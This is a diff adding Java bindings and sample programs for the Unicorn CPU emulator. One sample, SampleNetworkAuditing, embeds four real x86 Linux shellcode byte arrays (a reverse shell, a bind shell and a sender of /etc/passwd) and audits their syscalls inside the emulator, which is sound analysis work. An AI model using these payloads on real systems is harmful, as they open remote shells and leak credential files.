if (((mantissa >> 62) & 1) == 0) {
return sign ? Double.NEGATIVE_INFINITY
: Double.POSITIVE_INFINITY;
} else {
return Double.NaN;
}
} else {
exp -= 16383;
double f = mantissa >>> 1;
return Math.scalb(sign ? -f : f, exp - 62);
}
}
public static X86_Float80 fromDouble(double val) {
if (Double.isNaN(val)) {
return new X86_Float80(-1L, (short) -1);
} else if (Double.isInfinite(val)) {
return new X86_Float80(1L << 63,
(short) (val < 0 ? 0xffff : 0x7fff));
} else {
int exp = Math.getExponent(val);
long mantissa = ((long) Math.scalb(Math.abs(val), 62 - exp)) << 1;
exp += 16383;
return new X86_Float80(mantissa,
(short) (val < 0 ? (exp | 0x8000) : exp));
}
}
@Override
public String toString() {
return "X86_Float80 [mantissa=" + mantissa + ", exponent=" + exponent +
"]";
}
}

View File

@@ -0,0 +1,50 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2016 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Memory-Management Register for instructions IDTR, GDTR, LDTR, TR. */
public class X86_MMR {
public long base;
public int limit;
public int flags;
public short selector;
public X86_MMR(long base, int limit, int flags, short selector) {
this.base = base;
this.limit = limit;
this.flags = flags;
this.selector = selector;
}
public X86_MMR(long base, int limit) {
this.base = base;
this.limit = limit;
selector = 0;
flags = 0;
}
@Override
public String toString() {
return "X86_MMR [base=" + base + ", limit=" + limit + ", flags=" +
flags + ", selector=" + selector + "]";
}
}

View File

@@ -0,0 +1,42 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Model-specific register */
public class X86_MSR {
public int rid;
public long value;
public X86_MSR(int rid) {
this(rid, 0);
}
public X86_MSR(int rid, long value) {
this.rid = rid;
this.value = value;
}
@Override
public String toString() {
return "X86_MSR [rid=" + rid + ", value=" + value + "]";
}
}

View File

@@ -0,0 +1,474 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/*
Unicorn sample for auditing network connection and file handling in shellcode.
Nguyen Tan Cong <shenlongbk@gmail.com>
*/
package samples;
import unicorn.*;
import java.util.*;
public class SampleNetworkAuditing implements UnicornConst, X86Const {
public static long next_id = 3;
public static final int SIZE_REG = 4;
private static LogChain fd_chains = new LogChain();
public static long get_id() {
return next_id++;
}
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte) (val & 0xff);
val >>>= 8;
}
return res;
}
private static class MyInterruptHook implements InterruptHook {
// callback for tracing Linux interrupt
public void hook(Unicorn uc, int intno, Object user) {
// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode()));
// only handle Linux syscall
if (intno != 0x80) {
return;
}
long eax = uc.reg_read(UC_X86_REG_EAX);
long ebx = uc.reg_read(UC_X86_REG_EBX);
long ecx = uc.reg_read(UC_X86_REG_ECX);
long edx = uc.reg_read(UC_X86_REG_EDX);
long eip = uc.reg_read(UC_X86_REG_EIP);
// System.out.printf(">>> INTERRUPT %d\n", toInt(eax));
if (eax == 1) { // sys_exit
System.out.printf(">>> SYS_EXIT\n");
uc.emu_stop();
} else if (eax == 3) { // sys_read
long fd = ebx;
long buf = ecx;
long count = edx;
String uuid = UUID.randomUUID().toString().substring(0, 32);
byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0,
(int) Math.min(count, uuid.length()));
uc.mem_write(buf, dummy_content);
String msg = String.format(
"read %d bytes from fd(%d) with dummy_content(%s)", count,
fd, uuid.substring(0, dummy_content.length));
fd_chains.add_log(fd, msg);
System.out.printf(">>> %s\n", msg);
} else if (eax == 4) { // sys_write
long fd = ebx;
long buf = ecx;
long count = edx;
byte[] content = uc.mem_read(buf, (int) count);
String msg = String.format("write data=%s count=%d to fd(%d)",
new String(content), count, fd);
System.out.printf(">>> %s\n", msg);
fd_chains.add_log(fd, msg);
} else if (eax == 5) { // sys_open
long filename_addr = ebx;
long flags = ecx;
long mode = edx;
String filename = read_string(uc, filename_addr);
long dummy_fd = get_id();
uc.reg_write(UC_X86_REG_EAX, dummy_fd);
String msg = String.format(
"open file (filename=%s flags=%d mode=%d) with fd(%d)",
filename, flags, mode, dummy_fd);
fd_chains.create_chain(dummy_fd);
fd_chains.add_log(dummy_fd, msg);
System.out.printf(">>> %s\n", msg);
} else if (eax == 11) { // sys_execv
// System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx));
String filename = read_string(uc, ebx);
System.out.printf(">>> SYS_EXECV filename=%s\n", filename);
} else if (eax == 63) { // sys_dup2
fd_chains.link_fd(ecx, ebx);
System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx);
} else if (eax == 102) { // sys_socketcall
// ref: http://www.skyfree.org/linux/kernel_network/socket.html
long call = uc.reg_read(UC_X86_REG_EBX);
long args = uc.reg_read(UC_X86_REG_ECX);
// int sys_socketcall(int call, unsigned long *args)
if (call == 1) { // sys_socket
// err = sys_socket(a0,a1,a[2])
// int sys_socket(int family, int type, int protocol)
long family = toInt(uc.mem_read(args, SIZE_REG));
long sock_type =
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long protocol =
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
long dummy_fd = get_id();
uc.reg_write(UC_X86_REG_EAX, dummy_fd);
if (family == 2) { // AF_INET
String msg =
String.format("create socket (%s, %s) with fd(%d)",
ADDR_FAMILY.get(family),
SOCKET_TYPES.get(sock_type), dummy_fd);
fd_chains.create_chain(dummy_fd);
fd_chains.add_log(dummy_fd, msg);
print_sockcall(msg);
} else if (family == 3) { // AF_INET6
}
} else if (call == 2) { // sys_bind
long fd = toInt(uc.mem_read(args, SIZE_REG));
long umyaddr =
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long addrlen =
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
byte[] sock_addr = uc.mem_read(umyaddr, (int) addrlen);
String msg = String.format("fd(%d) bind to %s", fd,
parse_sock_address(sock_addr));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
} else if (call == 3) { // sys_connect
// err = sys_connect(a0, (struct sockaddr *)a1, a[2])
// int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
long fd = toInt(uc.mem_read(args, SIZE_REG));
long uservaddr =
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long addrlen =
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
byte[] sock_addr = uc.mem_read(uservaddr, (int) addrlen);
String msg = String.format("fd(%d) connect to %s", fd,
parse_sock_address(sock_addr));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
} else if (call == 4) { // sys_listen
long fd = toInt(uc.mem_read(args, SIZE_REG));
long backlog =
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
String msg = String.format(
"fd(%d) listened with backlog=%d", fd, backlog);
fd_chains.add_log(fd, msg);
print_sockcall(msg);
} else if (call == 5) { // sys_accept
long fd = toInt(uc.mem_read(args, SIZE_REG));
long upeer_sockaddr =
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long upeer_addrlen =
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
// System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen))
if (upeer_sockaddr == 0x0) {
print_sockcall(
String.format("fd(%d) accept client", fd));
} else {
long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4));
byte[] sock_addr =
uc.mem_read(upeer_sockaddr, (int) upeer_len);
String msg =
String.format("fd(%d) accept client with upeer=%s",
fd, parse_sock_address(sock_addr));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
} else if (call == 9) { // sys_send
long fd = toInt(uc.mem_read(args, SIZE_REG));
long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long length =
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
long flags =
toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
byte[] buf = uc.mem_read(buff, (int) length);
String msg = String.format("fd(%d) send data=%s", fd,
new String(buf));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
} else if (call == 11) { // sys_receive
long fd = toInt(uc.mem_read(args, SIZE_REG));
long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long size =
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
long flags =
toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
String msg = String.format(
"fd(%d) is gonna receive data with size=%d flags=%d",
fd, size, flags);
fd_chains.add_log(fd, msg);
print_sockcall(msg);
} else if (call == 13) { // sys_shutdown
long fd = toInt(uc.mem_read(args, SIZE_REG));
long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
String msg = String.format(
"fd(%d) is shutted down because of %d", fd, how);
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
}
}
}
public static final Hashtable<Long, String> SOCKET_TYPES;
public static final Hashtable<Long, String> ADDR_FAMILY;
static {
SOCKET_TYPES = new Hashtable<Long, String>();
ADDR_FAMILY = new Hashtable<Long, String>();
SOCKET_TYPES.put(1L, "SOCK_STREAM");
SOCKET_TYPES.put(2L, "SOCK_DGRAM");
SOCKET_TYPES.put(3L, "SOCK_RAW");
SOCKET_TYPES.put(4L, "SOCK_RDM");
SOCKET_TYPES.put(5L, "SOCK_SEQPACKET");
SOCKET_TYPES.put(10L, "SOCK_PACKET");
ADDR_FAMILY.put(0L, "AF_UNSPEC");
ADDR_FAMILY.put(1L, "AF_UNIX");
ADDR_FAMILY.put(2L, "AF_INET");
ADDR_FAMILY.put(3L, "AF_AX25");
ADDR_FAMILY.put(4L, "AF_IPX");
ADDR_FAMILY.put(5L, "AF_APPLETALK");
ADDR_FAMILY.put(6L, "AF_NETROM");
ADDR_FAMILY.put(7L, "AF_BRIDGE");
ADDR_FAMILY.put(8L, "AF_AAL5");
ADDR_FAMILY.put(9L, "AF_X25");
ADDR_FAMILY.put(10L, "AF_INET6");
ADDR_FAMILY.put(12L, "AF_MAX");
}
// http://shell-storm.org/shellcode/files/shellcode-861.php
public static final byte[] X86_SEND_ETCPASSWD = { 106, 102, 88, 49, -37, 67,
49, -46, 82, 106, 1, 106, 2, -119, -31, -51, -128, -119, -58, 106, 102,
88, 67, 104, 127, 1, 1, 1, 102, 104, 48, 57, 102, 83, -119, -31, 106,
16, 81, 86, -119, -31, 67, -51, -128, -119, -58, 106, 1, 89, -80, 63,
-51, -128, -21, 39, 106, 5, 88, 91, 49, -55, -51, -128, -119, -61, -80,
3, -119, -25, -119, -7, 49, -46, -74, -1, -78, -1, -51, -128, -119, -62,
106, 4, 88, -77, 1, -51, -128, 106, 1, 88, 67, -51, -128, -24, -44, -1,
-1, -1, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100 };
// http://shell-storm.org/shellcode/files/shellcode-882.php
public static final byte[] X86_BIND_TCP = { 106, 102, 88, 106, 1, 91, 49,
-10, 86, 83, 106, 2, -119, -31, -51, -128, 95, -105, -109, -80, 102, 86,
102, 104, 5, 57, 102, 83, -119, -31, 106, 16, 81, 87, -119, -31, -51,
-128, -80, 102, -77, 4, 86, 87, -119, -31, -51, -128, -80, 102, 67, 86,
86, 87, -119, -31, -51, -128, 89, 89, -79, 2, -109, -80, 63, -51, -128,
73, 121, -7, -80, 11, 104, 47, 47, 115, 104, 104, 47, 98, 105, 110,
-119, -29, 65, -119, -54, -51, -128 };
// http://shell-storm.org/shellcode/files/shellcode-883.php
public static final byte[] X86_REVERSE_TCP = { 106, 102, 88, 106, 1, 91, 49,
-46, 82, 83, 106, 2, -119, -31, -51, -128, -110, -80, 102, 104, 127, 1,
1, 1, 102, 104, 5, 57, 67, 102, 83, -119, -31, 106, 16, 81, 82, -119,
-31, 67, -51, -128, 106, 2, 89, -121, -38, -80, 63, -51, -128, 73, 121,
-7, -80, 11, 65, -119, -54, 82, 104, 47, 47, 115, 104, 104, 47, 98, 105,
110, -119, -29, -51, -128 };
// http://shell-storm.org/shellcode/files/shellcode-849.php
public static final byte[] X86_REVERSE_TCP_2 = { 49, -64, 49, -37, 49, -55,
49, -46, -80, 102, -77, 1, 81, 106, 6, 106, 1, 106, 2, -119, -31, -51,
-128, -119, -58, -80, 102, 49, -37, -77, 2, 104, -64, -88, 1, 10, 102,
104, 122, 105, 102, 83, -2, -61, -119, -31, 106, 16, 81, 86, -119, -31,
-51, -128, 49, -55, -79, 3, -2, -55, -80, 63, -51, -128, 117, -8, 49,
-64, 82, 104, 110, 47, 115, 104, 104, 47, 47, 98, 105, -119, -29, 82,
83, -119, -31, 82, -119, -30, -80, 11, -51, -128 };
// memory address where emulation starts
public static final int ADDRESS = 0x1000000;
public static String join(ArrayList<String> l, String sep) {
boolean first = true;
StringBuilder res = new StringBuilder();
for (String s : l) {
if (!first) {
res.append(sep);
}
res.append(s);
first = false;
}
return res.toString();
}
private static class LogChain {
public Hashtable<Long, ArrayList<String>> __chains =
new Hashtable<Long, ArrayList<String>>();
public Hashtable<Long, ArrayList<Long>> __linking_fds =
new Hashtable<Long, ArrayList<Long>>();
public void clean() {
__chains.clear();
__linking_fds.clear();
}
public void create_chain(long id) {
if (!__chains.containsKey(id)) {
__chains.put(id, new ArrayList<String>());
} else {
System.out.printf("LogChain: id %d existed\n", id);
}
}
public void add_log(long id, String msg) {
long fd = get_original_fd(id);
if (fd != -1) {
__chains.get(fd).add(msg);
} else {
System.out.printf("LogChain: id %d doesn't exist\n", id);
}
}
public void link_fd(long from_fd, long to_fd) {
if (!__linking_fds.containsKey(to_fd)) {
__linking_fds.put(to_fd, new ArrayList<Long>());
}
__linking_fds.get(to_fd).add(from_fd);
}
public long get_original_fd(long fd) {
if (__chains.containsKey(fd)) {
return fd;
}
for (Long orig_fd : __linking_fds.keySet()) {
if (__linking_fds.get(orig_fd).contains(fd))
return orig_fd;
}
return -1;
}
public void print_report() {
System.out.printf("\n----------------");
System.out.printf("\n| START REPORT |");
System.out.printf("\n----------------\n\n");
for (Long fd : __chains.keySet()) {
System.out.printf("---- START FD(%d) ----\n", fd);
System.out.println(join(__chains.get(fd), "\n"));
System.out.printf("---- END FD(%d) ----\n", fd);
}
System.out.printf("\n--------------");
System.out.printf("\n| END REPORT |");
System.out.printf("\n--------------\n\n");
}
}
// end supported classes
// utilities
static String read_string(Unicorn uc, long addr) {
StringBuilder ret = new StringBuilder();
char c;
do {
c = (char) (uc.mem_read(addr++, 1)[0] & 0xff);
if (c != 0) {
ret.append(c);
}
} while (c != 0);
return ret.toString();
}
static String parse_sock_address(byte[] sock_addr) {
int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff;
if (sin_family == 2) { // AF_INET
int sin_port =
((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff;
return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff,
sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff,
sin_port);
} else if (sin_family == 6) // AF_INET6
return "";
return null;
}
static void print_sockcall(String msg) {
System.out.printf(">>> SOCKCALL %s\n", msg);
}
// end utilities
public static void test_i386(byte[] code) {
fd_chains.clean();
System.out.printf("Emulate i386 code\n");
try {
// Initialize emulator in X86-32bit mode
Unicorn mu = new Unicorn(UC_ARCH_X86, UC_MODE_32);
// map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
mu.mem_write(ADDRESS, code);
// initialize stack
mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000L);
// handle interrupt ourself
mu.hook_add(new MyInterruptHook(), null);
// emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0);
// now print out some registers
System.out.printf(">>> Emulation done\n");
} catch (UnicornException uex) {
System.out.printf("ERROR: %s\n", uex.getMessage());
}
fd_chains.print_report();
}
public static void main(String args[]) {
test_i386(X86_SEND_ETCPASSWD);
test_i386(X86_BIND_TCP);
test_i386(X86_REVERSE_TCP);
test_i386(X86_REVERSE_TCP_2);
}
}

View File

@@ -0,0 +1,326 @@
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh, 2015 */
/* Sample code to demonstrate how to emulate ARM code */
package samples;
import java.util.Arrays;
import unicorn.*;
public class Sample_arm implements UnicornConst, ArmConst {
/** code to be emulated {@code mov r0, #0x37; sub r1, r2, r3} */
// private static final byte[] ARM_CODE = Utils.hexToBytes("3700a0e3031042e0");
/** code to be emulated {@code nop} */
private static final byte[] ARM_CODE = Utils.hexToBytes("00f020e3");
/** code to be emulated {@code sub sp, #0xc} */
private static final byte[] THUMB_CODE = Utils.hexToBytes("83b0");
/** code to be emulated
* <pre>
* cmp r2, r3
* it ne
* mov r2, #0x68
* mov r2, #0x4d
* </pre>
*/
private static final byte[] ARM_THUMB_COND_CODE =
Utils.hexToBytes("9a4214bf68224d22");
/** code to be emulated {@code mov r0, #0x37; sub r1, r2, r3} */
private static final byte[] ARM_CODE_EB =
Utils.hexToBytes("e3a00037e0421003");
/** code to be emulated {@code sub sp, #0xc} */
private static final byte[] THUMB_CODE_EB = Utils.hexToBytes("b083");
/** {@code 0xf3ef8014 - mrs r0, control} */
private static final byte[] THUMB_CODE_MRS = Utils.hexToBytes("eff31480");
/** memory address where emulation starts */
private static final long ADDRESS = 0x10000;
private static final BlockHook hook_block =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n",
address, size);
};
private static final CodeHook hook_code =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size);
};
public static void test_arm() {
long r0 = 0x1234L; // R0 register
long r2 = 0x6789L; // R1 register
long r3 = 0x3333L; // R2 register
System.out.println("Emulate ARM code");
// Initialize emulator in ARM mode
Unicorn u = new Unicorn(UC_ARCH_ARM, UC_MODE_ARM);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, ARM_CODE);
// initialize machine registers
u.reg_write(UC_ARM_REG_R0, r0);
u.reg_write(UC_ARM_REG_R2, r2);
u.reg_write(UC_ARM_REG_R3, r3);
// tracing all basic blocks with customized callback
u.hook_add(hook_block, 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(hook_code, ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.format(">>> R0 = 0x%x\n", u.reg_read(UC_ARM_REG_R0));
System.out.format(">>> R1 = 0x%x\n", u.reg_read(UC_ARM_REG_R1));
}
public static void test_thumb() {
long sp = 0x1234L; // R0 register
System.out.println("Emulate THUMB code");
// Initialize emulator in ARM mode
Unicorn u = new Unicorn(UC_ARCH_ARM, UC_MODE_THUMB);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, THUMB_CODE);
// initialize machine registers
u.reg_write(UC_ARM_REG_SP, sp);
// tracing all basic blocks with customized callback
u.hook_add(hook_block, 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(hook_code, ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
System.out.format(">>> SP = 0x%x\n", u.reg_read(UC_ARM_REG_SP));
}
public static void test_armeb() {
long r0 = 0x1234L; // R0 register
long r2 = 0x6789L; // R1 register
long r3 = 0x3333L; // R2 register
System.out.println("Emulate ARM Big-Endian code");
// Initialize emulator in ARM mode
Unicorn uc = new Unicorn(UC_ARCH_ARM, UC_MODE_ARM | UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, ARM_CODE_EB);
// initialize machine registers
uc.reg_write(UC_ARM_REG_R0, r0);
uc.reg_write(UC_ARM_REG_R2, r2);
uc.reg_write(UC_ARM_REG_R3, r3);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
uc.hook_add(hook_code, ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
uc.emu_start(ADDRESS, ADDRESS + ARM_CODE_EB.length, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.format(">>> R0 = 0x%x\n", uc.reg_read(UC_ARM_REG_R0));
System.out.format(">>> R1 = 0x%x\n", uc.reg_read(UC_ARM_REG_R1));
}
public static void test_thumbeb() {
long sp = 0x1234L;
System.out.println("Emulate THUMB Big-Endian code");
// Initialize emulator in ARM mode
Unicorn uc =
new Unicorn(UC_ARCH_ARM, UC_MODE_THUMB + UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, THUMB_CODE_EB);
// initialize machine registers
uc.reg_write(UC_ARM_REG_SP, sp);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
uc.hook_add(hook_code, ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
// Note we start at ADDRESS | 1 to indicate THUMB mode.
uc.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE_EB.length, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.format(">>> SP = 0x%x\n", uc.reg_read(UC_ARM_REG_SP));
}
public static void test_thumb_mrs() {
System.out.println("Emulate THUMB MRS instruction");
// 0xf3ef8014 - mrs r0, control
// Initialize emulator in ARM mode
Unicorn uc = new Unicorn(UC_ARCH_ARM, UC_MODE_THUMB);
// Setup the cpu model.
uc.ctl_set_cpu_model(UC_CPU_ARM_CORTEX_M33);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, THUMB_CODE_MRS);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
uc.hook_add(hook_code, ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
// Note we start at ADDRESS | 1 to indicate THUMB mode.
uc.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE_MRS.length, 0, 1);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
long pc = uc.reg_read(UC_ARM_REG_PC);
System.out.format(">>> PC = 0x%x\n", pc);
if (pc != ADDRESS + 4) {
System.out.format("Error, PC was 0x%x, expected was 0x%x.\n", pc,
ADDRESS + 4);
}
}
private static void test_thumb_ite_internal(boolean step, long[] r2r3) {
Unicorn uc = new Unicorn(UC_ARCH_ARM, UC_MODE_THUMB);
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
uc.mem_write(ADDRESS, ARM_THUMB_COND_CODE);
uc.reg_write(UC_ARM_REG_SP, 0x1234L);
uc.reg_write(UC_ARM_REG_R2, 0);
uc.reg_write(UC_ARM_REG_R3, 1);
if (!step) {
uc.emu_start(ADDRESS | 1, ADDRESS + ARM_THUMB_COND_CODE.length, 0,
0);
} else {
long addr = ADDRESS;
for (int i = 0; i < ARM_THUMB_COND_CODE.length / 2; i++) {
uc.emu_start(addr | 1, ADDRESS + ARM_THUMB_COND_CODE.length, 0,
1);
addr = uc.reg_read(UC_ARM_REG_PC);
}
}
r2r3[0] = uc.reg_read(UC_ARM_REG_R2);
r2r3[1] = uc.reg_read(UC_ARM_REG_R3);
}
public static void test_thumb_ite() {
long[] r2r3 = new long[2];
long[] step_r2r3 = new long[2];
System.out.println(
"Emulate a THUMB ITE block as a whole or per instruction.");
// Run once.
System.out.println("Running the entire binary.");
test_thumb_ite_internal(false, r2r3);
System.out.format(">>> R2: %d\n", r2r3[0]);
System.out.format(">>> R3: %d\n\n", r2r3[1]);
// Step each instruction.
System.out.println("Running the binary one instruction at a time.");
test_thumb_ite_internal(true, step_r2r3);
System.out.format(">>> R2: %d\n", step_r2r3[0]);
System.out.format(">>> R3: %d\n\n", step_r2r3[1]);
if (!Arrays.equals(r2r3, step_r2r3)) {
System.out.println("Failed with ARM ITE blocks stepping!");
}
}
public static void test_read_sctlr() {
System.out.println("Read the SCTLR register.");
Unicorn uc = new Unicorn(UC_ARCH_ARM, UC_MODE_ARM);
// SCTLR. See arm reference.
Arm_CP reg = new Arm_CP(15, 0, 0, 1, 0, 0, 0);
long val = (Long) uc.reg_read(UC_ARM_REG_CP_REG, reg);
System.out.format(">>> SCTLR = 0x%x\n", val & 0xffffffffL);
System.out.format(">>> SCTLR.IE = %d\n", (val >> 31) & 1);
System.out.format(">>> SCTLR.B = %d\n", (val >> 7) & 1);
}
public static void main(String args[]) {
test_arm();
System.out.print("==========================\n");
test_thumb();
System.out.print("==========================\n");
test_armeb();
System.out.print("==========================\n");
test_thumbeb();
System.out.print("==========================\n");
test_thumb_mrs();
System.out.print("==========================\n");
test_thumb_ite();
System.out.print("==========================\n");
test_read_sctlr();
}
}

View File

@@ -0,0 +1,289 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh, 2015 */
/* Sample code to demonstrate how to emulate ARM64 code */
package samples;
import java.util.Arrays;
import unicorn.*;
public class Sample_arm64 implements UnicornConst, Arm64Const {
/** code to be emulated {@code str w11, [x13], #0; ldrb w15, [x13], #0} */
private static final byte[] ARM64_CODE =
Utils.hexToBytes("ab0500b8af054038");
/** code to be emulated {@code str w11, [x13]; ldrb w15, [x13]} */
//private static final byte[] ARM64_CODE_EB = Utils.hexToBytes("b80005ab384005af"); // str w11, [x13];
private static final byte[] ARM64_CODE_EB = ARM64_CODE;
/** code to be emulated {@code mrs x2, tpidrro_el0} */
private static final byte[] ARM64_MRS_CODE = Utils.hexToBytes("62d03bd5");
/** code to be emulated {@code paciza x1} */
private static final byte[] ARM64_PAC_CODE = Utils.hexToBytes("e123c1da");
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
private static final BlockHook hook_block =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n",
address, size);
};
private static final CodeHook hook_code =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size);
};
public static void test_arm64_mem_fetch() {
// msr x0, CurrentEL
byte[] shellcode0 = { 64, 66, 56, (byte) 213 };
// .text:00000000004002C0 LDR X1, [SP,#arg_0]
byte[] shellcode = { (byte) 0xE1, 0x03, 0x40, (byte) 0xF9 };
long shellcode_address = 0x4002C0L;
long data_address = 0x10000000000000L;
System.out.format(
">>> Emulate ARM64 fetching stack data from high address %x\n",
data_address);
// Initialize emulator in ARM mode
Unicorn uc = new Unicorn(UC_ARCH_ARM64, UC_MODE_ARM);
uc.mem_map(data_address, 0x30000, UC_PROT_ALL);
uc.mem_map(0x400000, 0x1000, UC_PROT_ALL);
uc.reg_write(UC_ARM64_REG_SP, data_address);
byte[] data = new byte[8];
Arrays.fill(data, (byte) 0xc8);
uc.mem_write(data_address, data);
